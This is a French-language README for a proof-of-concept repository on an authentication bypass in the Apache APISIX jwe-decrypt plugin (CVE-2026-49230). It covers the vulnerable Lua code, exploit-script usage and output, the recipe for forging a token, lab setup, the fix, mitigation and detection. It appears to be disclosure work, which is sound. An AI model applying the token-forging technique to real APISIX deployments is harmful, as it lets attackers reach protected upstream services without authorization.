PoC pour CVE-2026-49230 : Apache APISIX jwe-decrypt contournement d'authentification (validation de tag AES-GCM manquante, CWE-354, CVSS 9.1)
jwe-decryptPreuve de concept d'un contournement d'authentification dans le plugin Apache
APISIX jwe-decrypt. Ce plugin déchiffre un jeton JWE et transmet son texte
clair à l'amont, agissant comme une porte d'authentification — mais il ne
valide jamais le tag d'authentification AES-GCM. Un jeton qui porte
simplement un kid consommateur valide est accepté même si son texte chiffré
et son tag sont faux, donc un attaquant qui connaît une clé consommateur —
laquelle circule en clair dans l'en-tête de chaque jeton légitime — franchit la
porte sans connaître le secret AES.
| CVE | CVE-2026-49230 |
| Produit | Apache APISIX (plugin jwe-decrypt) |
| Affecté | 3.8.0 – 3.16.0 |
| Corrigé | 3.17.0 |
| Classe | CWE-354 — Validation incorrecte de la valeur de contrôle d'intégrité |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Authentification | Non authentifié (nécessite un kid consommateur valide, pas le secret) |
| Publié | 2026-06-19 |
| Statut | CONFIRMÉ — reproduit de bout en bout sur 3.16.0 ; rejeté sur 3.17.0 |
apisix/plugins/jwe-decrypt.lua (tag 3.16.0) :
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() renvoie nil lorsque le tag d'authentification GCM ne
correspond pas, mais cette valeur de retour est ignorée et l'appelant inspecte
un err inexistant, qui est toujours nil. Le contrôle d'intégrité n'est donc
jamais appliqué : tout JWE avec un kid résoluble est authentifié. Le secret
AES — la seule chose qu'un attaquant ne devrait pas posséder — n'est jamais
réellement nécessaire.
Le correctif dans 3.17.0 propage l'erreur (return decrypted, err) et change
la garde en if not plaintext then return 400. Le même correctif supprime
également l'API publique GET /apisix/plugin/jwe/encrypt de création de jetons
du plugin.
Voir ANALYSIS.md pour l'analyse complète au niveau du code.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
Le jeton forgé est base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Seul l'en-tête (avec un kid valide) importe ; tout ce qui suit
est du bruit choisi par l'attaquant.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
Cet environnement n'a pas de pont Docker, le laboratoire utilise donc
--network host (etcd sur :2379, plan de données APISIX :9080, admin
:9180, backend :8080).
| Requête | 3.16.0 (vulnérable) | 3.17.0 (corrigé) |
|---|---|---|
| aucun jeton | 403 missing JWE token | — |
| jeton mal formé (<5 parties) | 400 JWE token invalid | — |
kid invalide + crypto poubelle | 400 invalid kid | — |
kid valide + crypto poubelle | 200 upstream reached | 400 failed to decrypt |
Tous les contrôles sauf la vérification d'intégrité GCM sont appliqués, et le
même jeton forgé passe de 200 à 400 entre les versions — le contournement est
spécifiquement le manque de validation d'intégrité, pas une route mal
configurée. Transcription complète dans EVIDENCE.txt.
Tout amont qui fait confiance à la porte jwe-decrypt d'APISIX pour
l'authentification peut être atteint par un attaquant non authentifié qui
possède un seul kid consommateur valide. Comme un kid valide est exposé en
clair dans l'en-tête JWE de chaque jeton légitimement émis, un jeton capturé
ou divulgué — ou une clé consommateur devinable — suffit pour forger un nombre
illimité de jetons acceptés et contourner la frontière d'authentification de la
passerelle.
jwe-decrypt comme seul contrôle
d'authentification ; superposez un plugin d'authentification indépendant
(par ex. key-auth/jwt-auth) ou une vérification amont qui valide
l'identité transmise.Les requêtes qui s'authentifient via jwe-decrypt mais transmettent un en-tête
d'identité vide/absent à l'amont (le déchiffrement a produit silencieusement
nil) sont un signal fort. Surveillez les requêtes
Authorization: Bearer <jwe> qui passent la passerelle tandis que l'amont ne
reçoit aucun en-tête transmis utilisable.
Recherche et PoC par Caio Fabrício (@BiiTts).
MIT — voir LICENSE.